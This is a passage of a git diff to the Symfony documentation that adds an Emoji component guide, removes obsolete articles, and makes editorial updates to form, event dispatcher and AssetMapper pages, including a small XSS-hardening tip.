deleted file mode 100644
index 35c8e729c2d..00000000000
--- a/doctrine/reverse_engineering.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-How to Generate Entities from an Existing Database
-==================================================
-
-.. caution::
-
-    The ``doctrine:mapping:import`` command used to generate Doctrine entities
-    from existing databases was deprecated by Doctrine in 2019 and there's no
-    replacement for it.
-
-    Instead, you can use the ``make:entity`` command from `Symfony Maker Bundle`_
-    to help you generate the code of your Doctrine entities. This command
-    requires manual supervision because it doesn't generate entities from
-    existing databases.
-
-.. _`Symfony Maker Bundle`: https://symfony.com/bundles/SymfonyMakerBundle/current/index.html
diff --git a/emoji.rst b/emoji.rst
new file mode 100644
index 00000000000..551497f0c76
--- /dev/null
+++ b/emoji.rst
@@ -0,0 +1,173 @@
+Working with Emojis
+===================
+
+.. versionadded:: 7.1
+
+    The emoji component was introduced in Symfony 7.1.
+
+Symfony provides several utilities to work with emoji characters and sequences
+from the `Unicode CLDR dataset`_. They are available via the Emoji component,
+which you must first install in your application:
+
+.. _installation:
+
+.. code-block:: terminal
+
+    $ composer require symfony/emoji
+
+.. include:: /components/require_autoload.rst.inc
+
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space.
+
+If you need to save disk space (e.g. because you deploy to some service with tight
+size constraints), run this command (e.g. as an automated script after ``composer install``)
+to compress the internal Symfony emoji data files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/emoji/Resources/bin/compress
+
+.. _emoji-transliteration:
+
+Emoji Transliteration
+---------------------
+
+The ``EmojiTransliterator`` class offers a way to translate emojis into their
+textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    // Describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // Describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+.. tip::
+
+    When using the :ref:`slugger <string-slugger>` from the String component,
+    you can combine it with the ``EmojiTransliterator`` to :ref:`slugify emojis <string-slugger-emoji>`.
+
+Transliterating Emoji Text Short Codes
+--------------------------------------
+
+Services like GitHub and Slack allows to include emojis in your messages using
+text short codes (e.g. you can add the ``:+1:`` code to render the 👍 emoji).
+
+Symfony also provides a feature to transliterate emojis into short codes and vice
+versa. The short codes are slightly different on each service, so you must pass
+the name of the service as an argument when creating the transliterator.
+
+GitHub Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to GitHub short codes with the ``emoji-github`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-github');
+    $transliterator->transliterate('Teenage 🐢 really love 🍕');
+    // => 'Teenage :turtle: really love :pizza:'
+
+Convert GitHub short codes to emojis with the ``github-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('github-emoji');
+    $transliterator->transliterate('Teenage :turtle: really love :pizza:');
+    // => 'Teenage 🐢 really love 🍕'
+
+Gitlab Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Gitlab short codes with the ``emoji-gitlab`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-gitlab');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwi: or :milk:'
+
+Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('gitlab-emoji');
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
+Slack Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Convert emojis to Slack short codes with the ``emoji-slack`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-slack');
+    $transliterator->transliterate('Menus with 🥗 or 🧆');
+    // => 'Menus with :green_salad: or :falafel:'
+
+Convert Slack short codes to emojis with the ``slack-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('slack-emoji');
+    $transliterator->transliterate('Menus with :green_salad: or :falafel:');
+    // => 'Menus with 🥗 or 🧆'
+
+.. _text-emoji:
+
+Universal Emoji Short Codes Transliteration
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you don't know which service was used to generate the short codes, you can use
+the ``text-emoji`` locale, which combines all codes from all services::
+
+    $transliterator = EmojiTransliterator::create('text-emoji');
+
+    // Github short codes
+    $transliterator->transliterate('Breakfast with :kiwi-fruit: or :milk-glass:');
+    // Gitlab short codes
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // Slack short codes
+    $transliterator->transliterate('Breakfast with :kiwifruit: or :glass-of-milk:');
+
+    // all the above examples produce the same result:
+    // => 'Breakfast with 🥝 or 🥛'
+
+You can convert emojis to short codes with the ``emoji-text`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-text');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwifruit: or :milk-glass:
+
+Inverse Emoji Transliteration
+-----------------------------
+
+Given the textual representation of an emoji, you can reverse it back to get the
+actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`:
+
+.. code-block:: twig
+
+    {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #}
+    {{ 'I like :kiwi:'|emojify }}       {# renders: I like 🥝 #}
+    {{ 'I like :kiwifruit:'|emojify }}  {# renders: I like 🥝 #}
+
+By default, ``emojify`` uses the :ref:`text catalog <text-emoji>`, which
+merges the emoji text codes of all services. If you prefer, you can select a
+specific catalog to use:
+
+.. code-block:: twig
+
+    {{ 'I :green-heart: this'|emojify }}                  {# renders: I 💚 this #}
+    {{ ':green_salad: is nice'|emojify('slack') }}        {# renders: 🥗 is nice #}
+    {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #}
+    {{ ':kiwi: is a great fruit'|emojify('gitlab') }}     {# renders: 🥝 is a great fruit #}
+
+Removing Emojis
+---------------
+
+The ``EmojiTransliterator`` can also be used to remove all emojis from a string,
+via the special ``strip`` locale::
+
+    use Symfony\Component\Emoji\EmojiTransliterator;
+
+    $transliterator = EmojiTransliterator::create('strip');
+    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
+    // => 'Hey! Happy Birthday!'
+
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ef9f74c4ae9..27885af267b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,9 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            // the exception message can contain unfiltered user input;
+            // set the content-type to text to avoid XSS issues
+            $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that
             // holds status code and header details
@@ -162,7 +165,10 @@ having to add any configuration in external files::
         }
     }
 
-You can add multiple ``#[AsEventListener()]`` attributes to configure different methods::
+You can add multiple ``#[AsEventListener]`` attributes to configure different methods.
+The ``method`` property is optional, and when not defined, it defaults to
+``on`` + uppercased event name. In the example below, the ``'foo'`` event listener
+doesn't explicitly define its method, so the ``onFoo()`` method will be called::
 
     namespace App\EventListener;
 
@@ -198,7 +204,7 @@ can also be applied to methods directly::
 
     final class MyMultiListener
     {
-        #[AsEventListener()]
+        #[AsEventListener]
         public function onCustomEvent(CustomEvent $event): void
         {
             // ...
@@ -795,3 +801,11 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
+
+Learn More
+----------
+
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
+- :doc:`/reference/events`
+- :ref:`Security-related Events <security-security-events>`
+- :doc:`/components/event_dispatcher`
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 400747bba12..db098a1ba09 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -171,7 +171,7 @@ class to the label:
         ],
         // ...
 
-.. caution::
+.. warning::
 
     Switches only work with **checkbox**.
 
@@ -201,7 +201,7 @@ class to the ``row_attr`` option.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
@@ -239,7 +239,7 @@ of your form type.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     You **must** provide a ``label`` and a ``placeholder`` to make floating
     labels work properly.
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 709f3321544..0d92a967fa0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type:
 ``postal_address_zipCode_label``
     The label block of the ZIP Code field.
 
-.. caution::
+.. warning::
 
     When the name of your form class matches any of the built-in field types,
     your form might not be rendered correctly. A form type named
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index cb5c7936701..38c92ce35ae 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -126,7 +126,7 @@ in your form type::
         }
     }
 
-.. caution::
+.. warning::
 
     The data passed to the mapper is *not yet validated*. This means that your
     objects should allow being created in an invalid state in order to produce
@@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. caution::
+.. warning::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
     lets its parent map inner values.
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4e81fc3e930..db051a04bbc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data
 converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
 when rendering the form, and then back to a ``DateTime`` object on submit.
 
-.. caution::
+.. warning::
 
     When a form field has the ``inherit_data`` option set to ``true``, data transformers
     are not applied to that field.
@@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real
 If the issue isn't found, a form error will be created for that field and
 its error message can be controlled with the ``invalid_message`` field option.
 
-.. caution::
+.. warning::
 
     Be careful when adding your transformers. For example, the following is **wrong**,
     as the transformer would be applied to the entire form, instead of just this
@@ -472,7 +472,7 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
-.. caution::
+.. warning::
 
     Be careful with model transformers and
     :doc:`Collection </reference/forms/types/collection>` field types.
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 7b98134af18..7a08fb6978a 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     argument to ``submit()``. Passing ``false`` will remove any missing fields
     within the form object. Otherwise, the missing fields will be set to ``null``.
 
-.. caution::
+.. warning::
 
     When the second parameter ``$clearMissing`` is ``false``, like with the
     "PATCH" method, the validation will only apply to the submitted fields. If
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 72acc7eee0d..09be80ebb5a 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -455,7 +455,7 @@ The type would now look like::
                 ])
             ;
 
-            $formModifier = function (FormInterface $form, Sport $sport = null): void {
+            $formModifier = function (FormInterface $form, ?Sport $sport = null): void {
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
@@ -487,7 +487,7 @@ The type would now look like::
                     $formModifier($event->getForm()->getParent(), $sport);
                 }
             );
-            
+
             // by default, action does not appear in the <form> tag
             // you can set this value by passing the controller route
             $builder->setAction($options['action']);
diff --git a/form/events.rst b/form/events.rst
index 745df2df453..dad6c242ddd 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -192,7 +192,7 @@ Form view data        Same as in ``FormEvents::POST_SET_DATA``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the form.
 
@@ -225,7 +225,7 @@ Form view data        Normalized data transformed using a view transformer
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the current form and its
     children.
diff --git a/form/form_collections.rst b/form/form_collections.rst
index f0ad76a8a61..2a0ba99657f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.
 
-.. caution::
+.. warning::
 
     You can embed nested collections as many levels down as you like. However,
     if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
@@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
-.. caution::
+.. warning::
 
     You have to create **both** ``addTag()`` and ``removeTag()`` methods,
     otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``.
     You'll learn more about the ``removeTag()`` method later in this article.
 
-.. caution::
+.. warning::
 
     Symfony can only make the plural-to-singular conversion (e.g. from the
     ``tags`` property to the ``addTag()`` method) for English words. Code
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3f3cd0bbc89..1c23601a883 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
-.. caution::
+.. warning::
 
    If you're rendering each field manually, make sure you don't forget the
    ``_token`` field that is automatically added for CSRF protection.
@@ -305,7 +305,7 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
-.. caution::
+.. warning::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
diff --git a/form/form_dependencies.rst b/form/form_dependencies.rst
deleted file mode 100644
index 96b067362ff..00000000000
--- a/form/form_dependencies.rst
+++ /dev/null
@@ -1,12 +0,0 @@
-How to Access Services or Config from Inside a Form
-===================================================
-
-The content of this article is no longer relevant because in current Symfony
-versions, form classes are services by default and you can inject services in
-them using the :doc:`service autowiring </service_container/autowiring>` feature.
-
-Read the article about :doc:`creating custom form types </form/create_custom_field_type>`
-to see an example of how to inject the database service into a form type. In the
-same article you can also read about
-:ref:`configuration options for form types <form-type-config-options>`, which is
-another way of passing services to forms.
diff --git a/form/form_themes.rst b/form/form_themes.rst
index eb6f6f2ae22..8b82982edaa 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -177,7 +177,7 @@ of form themes:
 
     {# ... #}
 
-.. caution::
+.. warning::
 
     When using the ``only`` keyword, none of Symfony's built-in form themes
     (``form_div_layout.html.twig``, etc.) will be applied. In order to render
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 19b14b27bcd..2caa0afcdbe 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms::
 That's it! You have extracted duplicated field definitions to a separate
 location form that you can reuse wherever you need it.
 
-.. caution::
+.. warning::
 
     Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners.
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index b2137b82578..106eb4e7742 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -44,14 +44,14 @@ This interface requires four methods:
 
 Start by creating the class and these methods. Next, you'll learn how to fill each in::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
     use Symfony\Component\Form\Guess\TypeGuess;
     use Symfony\Component\Form\Guess\ValueGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -90,9 +90,9 @@ The ``TypeGuess`` constructor requires three options:
   type with the highest confidence is used.
 
 With this knowledge, you can implement the ``guessType()`` method of the
-``PHPDocTypeGuesser``::
+``PhpDocTypeGuesser``::
 
-    // src/Form/TypeGuesser/PHPDocTypeGuesser.php
+    // src/Form/TypeGuesser/PhpDocTypeGuesser.php
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\Extension\Core\Type\CheckboxType;
@@ -102,7 +102,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
     use Symfony\Component\Form\Guess\Guess;
     use Symfony\Component\Form\Guess\TypeGuess;
 
-    class PHPDocTypeGuesser implements FormTypeGuesserInterface
+    class PhpDocTypeGuesser implements FormTypeGuesserInterface
     {
         public function guessType(string $class, string $property): ?TypeGuess
         {
@@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments:
 ``null`` is guessed when you believe the value of the option should not be
 set.
 
-.. caution::
+.. warning::
 
     You should be very careful using the ``guessMaxLength()`` method. When the
     type is a float, you cannot determine a length (e.g. you want a float to be
@@ -188,7 +188,7 @@ and tag it with ``form.type_guesser``:
         services:
             # ...
 
-            App\Form\TypeGuesser\PHPDocTypeGuesser:
+            App\Form\TypeGuesser\PhpDocTypeGuesser:
                 tags: [form.type_guesser]
 
     .. code-block:: xml
@@ -201,7 +201,7 @@ and tag it with ``form.type_guesser``:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="App\Form\TypeGuesser\PHPDocTypeGuesser">
+                <service id="App\Form\TypeGuesser\PhpDocTypeGuesser">
                     <tag name="form.type_guesser"/>
                 </service>
             </services>
@@ -210,9 +210,9 @@ and tag it with ``form.type_guesser``:
     .. code-block:: php
 
         // config/services.php
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
 
-        $container->register(PHPDocTypeGuesser::class)
+        $container->register(PhpDocTypeGuesser::class)
             ->addTag('form.type_guesser')
         ;
 
@@ -223,12 +223,12 @@ and tag it with ``form.type_guesser``:
     :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of
     the ``FormFactoryBuilder`` to register new type guessers::
 
-        use App\Form\TypeGuesser\PHPDocTypeGuesser;
+        use App\Form\TypeGuesser\PhpDocTypeGuesser;
         use Symfony\Component\Form\Forms;
 
         $formFactory = Forms::createFormFactoryBuilder()
             // ...
-            ->addTypeGuesser(new PHPDocTypeGuesser())
+            ->addTypeGuesser(new PhpDocTypeGuesser())
             ->getFormFactory();
 
         // ...
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index bf57e6d1afc..9603c5bc0d2 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,7 +1,7 @@
 How to Unit Test your Forms
 ===========================
 
-.. caution::
+.. warning::
 
     This article is intended for developers who create
     :doc:`custom form types </form/create_custom_field_type>`. If you are using
@@ -121,7 +121,7 @@ variable exists and will be available in your form themes::
     Use `PHPUnit data providers`_ to test multiple form conditions using
     the same test code.
 
-.. caution::
+.. warning::
 
     When your type relies on the ``EntityType``, you should register the
     :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
@@ -214,7 +214,7 @@ allows you to return a list of extensions to register::
         {
             $validator = Validation::createValidator();
 
-            // or if you also need to read constraints from annotations
+            // or if you also need to read constraints from attributes
             $validator = Validation::createValidatorBuilder()
                 ->enableAttributeMapping()
                 ->getValidator();
diff --git a/form/without_class.rst b/form/without_class.rst
index 589f8a4739e..8b0af7cf23f 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -121,7 +121,7 @@ but here's a short example::
     submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid``
     constraint, unless you :doc:`disable validation </form/disabling_validation>`.
 
-.. caution::
+.. warning::
 
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
@@ -137,6 +137,7 @@ This can be done by setting the ``constraints`` option in the
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
     use Symfony\Component\OptionsResolver\OptionsResolver;
+    use Symfony\Component\Validator\Constraints\Collection;
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
@@ -149,17 +150,15 @@ This can be done by setting the ``constraints`` option in the
 
     public function configureOptions(OptionsResolver $resolver): void
     {
-        $constraints = [
-            'firstName' => new Length(['min' => 3]),
-            'lastName' => [
-                new NotBlank(),
-                new Length(['min' => 3]),
-            ],
-        ];
-
         $resolver->setDefaults([
             'data_class' => null,
-            'constraints' => $constraints,
+            'constraints' => new Collection([
+                'firstName' => new Length(['min' => 3]),
+                'lastName' => [
+                    new NotBlank(),
+                    new Length(['min' => 3]),
+                ],
+            ]),
         ]);
     }
 
diff --git a/forms.rst b/forms.rst
index 8b040358782..008c60a66c6 100644
--- a/forms.rst
+++ b/forms.rst
@@ -773,7 +773,7 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    ``DELETE`` request. The :ref:`http_method_override <configuration-framework-http_method_override>`
     option must be enabled for this to work.
 
 Changing the Form Name
@@ -869,7 +869,7 @@ pass ``null`` to it::
         }
     }
 
-.. caution::
+.. warning::
 
     When using a specific :doc:`form validation group </form/validation_groups>`,
     the field type guesser will still consider *all* validation constraints when
@@ -964,7 +964,6 @@ Advanced Features:
 
     /controller/upload_file
     /security/csrf
-    /form/form_dependencies
     /form/create_custom_field_type
     /form/data_transformers
     /form/data_mappers
diff --git a/frontend.rst b/frontend.rst
index afc5edff8e3..c28e6fcf222 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -34,9 +34,10 @@ Supports `Stimulus/UX`_           yes                                 yes
 Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
-Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no                                  no
+Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
 Versioned assets                  always                              optional
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -46,11 +47,24 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
+.. _ux-note-2:
+
+**[2]** You can install the `SensioLabs Minify Bundle`_ to minify CSS/JS code
+(and remove all comments) when compiling assets with AssetMapper.
+
+.. _ux-note-3:
+
+**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `AssetMapper screencast series`_.
+
 AssetMapper is the recommended system for handling your assets. It runs entirely
 in PHP with no complex build step or dependencies. It does this by leveraging
 the ``importmap`` feature of your browser, which is available in all browsers thanks
@@ -73,6 +87,26 @@ pre-processing CSS & JS and compiling and minifying assets.
 
 :doc:`Read the Encore Documentation </frontend/encore/index>`
 
+Switch from AssetMapper
+^^^^^^^^^^^^^^^^^^^^^^^
+
+By default, new Symfony webapp projects (created with ``symfony new --webapp myapp``)
+use AssetMapper. If you still need to use Webpack Encore, use the following steps to
+switch. This is best done on a new project and provides the same features (Turbo/Stimulus)
+as the default webapp.
+
+.. code-block:: terminal
+
+    # Remove AssetMapper & Turbo/Stimulus temporarily
+    $ composer remove symfony/ux-turbo symfony/asset-mapper symfony/stimulus-bundle
+
+    # Add Webpack Encore & Turbo/Stimulus back
+    $ composer require symfony/webpack-encore-bundle symfony/ux-turbo symfony/stimulus-bundle
+
+    # Install & Build Assets
+    $ npm install
+    $ npm run dev
+
 Stimulus & Symfony UX Components
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -88,6 +122,10 @@ the `StimulusBundle Documentation`_
 Using a Front-end Framework (React, Vue, Svelte, etc)
 -----------------------------------------------------
 
+.. screencast::
+
+    Do you prefer video tutorials? Check out the `API Platform screencast series`_.
+
 If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc),
 we recommend using their native tools and using Symfony as a pure API. A wonderful
 tool to do that is `API Platform`_. Their standard distribution comes with a
@@ -100,6 +138,7 @@ Other Front-End Articles
 
 * :doc:`/frontend/create_ux_bundle`
 * :doc:`/frontend/custom_version_strategy`
+* :doc:`/frontend/server-data`
 
 .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore
 .. _`Webpack`: https://webpack.js.org/
@@ -111,3 +150,6 @@ Other Front-End Articles
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
+.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 2b956d4176d..57e0aa53d43 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -73,6 +73,8 @@ If you look at the HTML in your page, the URL will be something
 like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
 the file, the version part of the URL will also change automatically.
 
+.. _asset-mapper-compile-assets:
+
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -89,6 +91,13 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
+.. warning::
+
+    If you run the ``asset-map:compile`` command on your development machine,
+    you won't see any changes made to your assets when reloading the page.
+    To resolve this, delete the contents of the ``public/assets/`` directory.
+    This will allow your Symfony application to serve those assets dynamically again.
+
 .. tip::
 
     If you need to copy the compiled assets to a different location (e.g. upload
@@ -204,6 +213,14 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     main package *and* its dependencies. If a package includes a main CSS file,
     that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`).
 
+.. note::
+
+    If you get a 404 error, there might be some issue with the JavaScript package
+    that prevents it from being served by the ``jsDelivr`` CDN. For example, the
+    package might be missing properties like ``main`` or ``module`` in its
+    `package.json configuration file`_. Try to contact the package maintainer to
+    ask them to fix those issues.
+
 Now you can import the ``bootstrap`` package like usual:
 
 .. code-block:: javascript
@@ -376,6 +393,8 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
+.. _asset-mapper-handling-css:
+
 Handling CSS
 ------------
 
@@ -429,7 +448,10 @@ To include it on the page, import it from a JavaScript file:
 
     Some packages - like ``bootstrap`` - advertise that they contain a CSS
     file. In those cases, when you ``importmap:require bootstrap``, the
-    CSS file is also added to ``importmap.php`` for convenience.
+    CSS file is also added to ``importmap.php`` for convenience. If some package
+    doesn't advertise its CSS file in the ``style`` property of the
+    `package.json configuration file`_ try to contact the package maintainer to
+    ask them to add that.
 
 Paths Inside of CSS Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -604,7 +626,7 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
   and can be activated in Nginx and Apache. Or, proxy your site through a
   service like Cloudflare, which will automatically enable HTTP/2 for you.
@@ -612,9 +634,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default and you can also
-  enable `auto minify`_ to further compress your assets (e.g. removing
-  whitespace and comments from JavaScript and CSS files).
+  In Cloudflare, assets are compressed by default.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -682,9 +702,16 @@ See :ref:`Optimization <optimization>` for more details.
 Does the AssetMapper Component Minify Assets?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Nope! Minifying or compressing assets *is* important, but can be
-done by your web server or a service like Cloudflare. See
-:ref:`Optimization <optimization>` for more details.
+Nope! In most cases, this is perfectly fine. The web asset compression performed
+by web servers before sending them is usually sufficient. However, if you think
+you could benefit from minifying assets (in addition to later compressing them),
+you can use the `SensioLabs Minify Bundle`_.
+
+This bundle integrates seamlessly with AssetMapper and minifies all web assets
